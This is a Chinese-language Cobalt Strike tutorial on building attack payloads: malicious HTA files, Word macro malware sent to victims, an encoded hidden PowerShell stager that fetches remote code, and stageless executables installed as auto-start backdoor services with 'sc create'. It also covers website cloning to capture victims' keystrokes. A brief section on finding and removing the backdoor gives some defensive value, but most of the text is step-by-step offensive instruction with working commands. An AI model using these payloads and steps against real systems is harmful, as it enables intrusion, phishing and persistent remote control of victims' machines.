CobaltStrike-006-创建Attacks
创建payloads
这里Attacks有几种,如下:
HTML Application 生成一个恶意HTML Application木马,后缀格式为 .hta。通过HTML调用其他语言的应用组件进行攻击,提供了可执行文件、PowerShell、VBA三种方法。
MS Office Macro 生成office宏病毒文件;
Payload Generator 生成各种语言版本的payload,可以生成C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等shellcode
Windows Executable 生成32位或64位的exe和基于服务的exe、DLL等后门程序
Windows Executable(S) 用于生成一个exe可执行文件,其中包含Beacon的完整payload,不需要阶段性的请求。与Windows Executable模块相比,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将StagelessPayload注入内存
HTML Application
HTML Application用于生成hta类型的文件。HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。HTML Application有三种类型的生成方式,测试发现,只有powershell方式生成的hta文件才能正常执行上线,Executable和VBA方式生成的hta文件执行的时候提示当前页面的脚本发生错误。
基于PowerShell方式生成的hta文件,执行上线:
执行mshta上线成功:mshta http://xx.xx.xx.xx/file.ext
基于Executable方式生成的hta文件,执行报错如下:
基于VBA方式生成的hta文件,执行报错如下
MS Office Macro
Payloads –> MS Office Macro:
然后选择一个监听器,点击Generate:
然后点击Copy Macro:
1 | Private Type PROCESS_INFORMATION |
然后打开word编辑器,点击视图,然后点击宏:
随便输入一个宏名,点击创建:
先清除这里面的所有代码,然后复制CobaltStrike生成的代码,保存退出:
将该文档发给其他人,只要他是用word打开,并且开启了宏,我们的CS就会收到弹回来的shell,进程名是rundll32.exe:
word开启禁用宏:文件——>选项——>信任中心——>信任中心设置
Payload Generator
这个模块用于生成各种语言版本的shellcode,然后用其他语言进行编译生成:
说明:
Stager是分阶段传送Payload
Stageless是完整的木马
这里主要讲两个payload:Payloads–>Stager Payload Generator下的Powershell 和 PowerShell Command 。这两个都是利用powershell进行上线。
PowerShell
选择该payload会生成一个payload.ps1文件,可以选择如下方式上线powershell下:
1 | Import-Module .\payload.ps1 |
cmd下
1 | powershell Import-Module .\payload.ps1 |
PowerShell Command
选择该payload会生成一个payload.txt文件,可以选择如下方式上线:
直接复制该文件内容在cmd下运行即可上线
上述三种上线的方式,站在受害者主机视角,都是如下:
1 | powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwBhADQAKwBpAFMAaAByACsAMwBQADAAcgArAEQAQwBKAEcAbQAxAGIAOABkAGEAZQB6AFMAUQBIAFIAYgB5AEMATgBpAGgAZQArAG4AUQA2AEIAWgBSAGEAVwB0AHkASwBBAHMARwB6ADgAOQArADMAUQBPADMAcAAyAGUAbgBaAG4AVwBUAFgAeABGAEEARgA3ACsAVwBwADUANwAzAFUAcQAwAEgANgBvAEYARwBDAFQAQwBxADcARgB1AFEAZQBkAEUAZwBDADUARABvAGMAZgAzACsALwBEAFIAMgBUAHAAdQB0ADAAOABiAGEARAA5AE0AMABqAHIAdgBrAEcATABJAHYAQQBJAE8ARAArAHYAcgArAGIAQQBRAEoAcwBMAHYAOABsAEEAdQBUAE4AZABxADAAUQB3AHgASwBYAGIAVgBKAEIAYQBJAFUARQBGAHUANwB1ADcAdQArAHkAVgA2AEUAVABnAEMAMQA4AGMAdwBCAEYARQBYAHkAegBJAGQAMgA3AFYAcwBCADkANQBmAEkAdgBnAHUAZQBKAHIAZwAyAFEAOAAvAHIASABIADkAMgBRAEUATwBqAFEAeQA3ADcAYwBoADEAUQBJAEEAbQBnAGIARwBNAEUAZwBYACsARAArAHkAUwAzADMAawBNAEMASABxAFgARwBBAEoAdQBYACsANQByADYAOABsAGYAdgBZAE4AUQBDACsAaQBpAFYAZABZAE8ANwBaAEsAUQBUAEgAUwByADkATgBYAEIATwBrAEoAeQBoAHIASABrAFkAMABuAC8AdgByAHIAMQB6AGgANQBhAEgANgBXAHUANwA1AEkAYwBCAEIAUABxAGMAbABBAFkAVgAyADIAYwBJADQAVgArAEMAKwBGAFYASwBIADgAOABTAEQAKwBaAHkATQBUAE8ASQBHADcAcABhAFcAbAA4AGkAcAA4AGUAVgBGAGgAbAA3AEoAdwBNAHMAWAA3AEwAbgBDADkAVwBRADcARAA3AEIAegAvAFAAcQBRAHEAZABXAEwAVABqADcASABsAGoAUABHAGoAWABEAGgATQBGAGYAaQBYAGwASgAvAEwANgArAHYAMwBKAC8AdgBhAE4AVABRAG8AYwBpAEcANQBhAEYARABJAFgARQA5AEQAWgBJAEkAbQBUAEEAbwBEADQAQgBqAFkAYQBqAEMATABWAFAATABCAFMAeABtAHoAaQA1AFgAWQBDAEEASQBwAEMARgB4AHUAQgBzAFcAcABoAGUANQBSADUAagAvADQAbwBRAFkAbAA1AGoAZABsADkAKwAxACsANQBwAFgANABPAGwARwA3AHUAOABxADUAVAA4AHEATQBhAGsAWgBKAFkAWABTAE4AUwBkACsAaAB3ADQANQB5ADUAdQBMAE8AWABhAGMAbgA5AEIALwBTAEsANABDACsALwAyAFUAWQBJAFgANwBiADUAKwBsAHEAZwBVAHgAMwBBAEUASwAzAHkAagBqADkAMABPAHUAMwB0AC8AZAB2AFcAUgBMAHkATQA2AFQAbgA3AGsAQgB5AHYAUwArAGMAcABVAFMASgB6AE0AUQBnAEwAbwBrAFMAYwBNADUASgB5AEUAcwB2AEgANgBQAHoAOABYAHQAVABUAE0AbwAvAGQASgBRADkAYQBaADEAMQBiAG0ARQA1ADQATABqAEsALwBlAGkAdQA4AGgANgB2AGIAOAByADMARgArAHoASgAzADMALwBaAG8AUQBJAFcANQBDAGsAMwAzADkAZABEAFMATABjAEkAZwBlAEsAaQBRAE4AcwBaAE4ANABTAFAAdgA5AFoAegBPAEEAVw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oAFkALwA1AHEATQBwAE0AQgBDAGYAWQBBAHMAMAA3AEsAcABxAHYAYgAzAFMAaQA1AFIATAByAE8AUwBEAE0AWABwAFIAcgA1AC8ATwBkAGoALwBSAEUAUwBCADIASQAyADgAcgBLAGgAKwBIAGEAagBDAEIAaQA3AFoAagByAFYALwBXAEsAOAArAHYATwA5ADUANwBPAGIAYwA4AEcAVwBOAGYANwBUAFYAZQBIADcANQBWAEEAbwAzAEsANAA5AEkAOQB4AHUAcwA5AEgAbgBlAHMAVABiAEIAUABqADkARwB0AG0AdwA4ADUAVQArAEUARABtAEIAegBvADcAdQBTADEAdwBsAHIAbABVAHEAbABmAFIAWgByAHoAQgByAHYAMAA5AE0AMQAvAFcAUwAvAEwAdQA5AFUAagByADcAZgBZAEQAeQAwAFIAWABPAFgATAAwAFAAYQB5AFIAMABiAFAAaAAvAGoATQBFAFAAWAB2ADgANwB1AHkAbAAvADIAZgB6ADQAbgBiADAATQAwAGUAZQBVAHAAUgBmAHkAdgB3AEQAUABwAEkARwBUADMAdwAwAEEAQQBBAD0APQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA== |
Windows Executable & Windows Executable(S)
这两个模块直接用于生成可执行的 exe 文件或 dll 文件。Windows Executable是生成Stager类型的马,而Windows Executable(S) 是生成Stageless类型的马。那Stager和Stageless有啥区别呢?
Stager是分阶段传送Payload。分阶段啥意思呢?就是我们生成的Stager马其实是一个小程序,用于从服务器端下载我们真正的shellcode。分阶段在很多时候是很有必要的,因为很多场景对于能加载进内存并成功漏洞利用后执行的数据大小存在严格限制。所以这种时候,我们就不得不利用分阶段传送了。如果不需要分阶段的话,可以在C2的扩展文件里面把 host_stage 选项设置为false。
而Stageless是完整的木马,后续不需要再向服务器端请求shellcode。所以使用这种方法生成的木马会比Stager生成的木马体积要大。但是这种木马有助于避免反溯源,因为如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后渗透和横向移动绝大部分是使用的Stageless类型的木马。如搭建基于DNS的隧道时,得生成Stageless类型的马。
Windowss Executable(S)相比于Windows Executable,其中包含Beacon的完整payload,不需要阶段性的请求,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存。
注意,生成的Windows Service EXE生成的木马,直接双击是不会返回session的。需要以创建服务的方式启动,才会返回session。并且启动的时候,必须以管理员身份打开cmd才能创建服务。
1 | #注意,等号(=)后面要有空格 |
针对64bit win7,使用windows stager payload下生成的windows service exe,执行的时候出现如下提示:服务没有及时响应启动或控制请求。
换成windows stagerless payload下生成的windows service exe,成功执行:
1 | sc create autoRunBackDoor binPath= "cmd.exe /c C:\Users\test\Desktop\cs_payload\stagerless_winservice_beacon_x64.exe" start= auto DisplayName= autoRunBackDoor |
在受害者主机上看到的进程与服务信息:
虽然服务清单上看到,服务应该是没有启动的(左上角有”启动此服务”),但是在任务管理器中,rundll32.exe这个进程是存在的,该进程就是服务启动后对应进程,且在CS上是可以交互的:
在被害者主机上抓包,过滤C2服务器与http协议,发现存在这个特征:
1 | sc create autoRunBackDoor binPath= "cmd.exe /c C:\Users\test\Desktop\cs_payload\stagerless_winservice_beacon_x64_01.exe" start= auto DisplayName= autoRunBackDoor |
在实际测试的时候,出现了一个很诡异的事情,在windows7上测试上述基于服务运行的payload时,从CS上看,连接是在并且存活的,但是在windows机器上看,任务列表中有对应的任务(PID为1592),但是使用netstat -ano命令查看时,时有时无,并且网络连接很快就消失,如果不是知道C2的地址并且通过wireshark抓包,都比较难发现这个后门:
如何解决这一类的后门呢:
- 通过netstat -ano找到恶意进程对应的PID
- 通过tasklist找到PID对应的进程命令:tasklist /fi “PID eq 1592”
- 通过taskkill 干掉进程:taskkill /PID 1592 /F
- 删除对应的服务: sc delete autoRunBackDoor
点击中间的Attacks——>Web Drive-by(网站钓鱼攻击)
- web服务管理对开启的web服务进行管理;
- 克隆网站 可以记录受害者提交的数据;
- 文件下载 提供一个本地文件下载,可以修改Mime信息。
- Scripted Web Delivery(S) 基于Web的攻击测试脚本,自动生成可执行的payload ,通常用这个模块来生成powershell命令反弹shell
- 签名Applet攻击 启动一个Web服务以提供自签名Java Applet的运行环境;
- 智能攻击 自动检测Java版本并利用已知的exploits绕过security;
- 信息搜集 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
克隆网站
该模块用来克隆一个网站,来获取用户的键盘记录
然后访问URL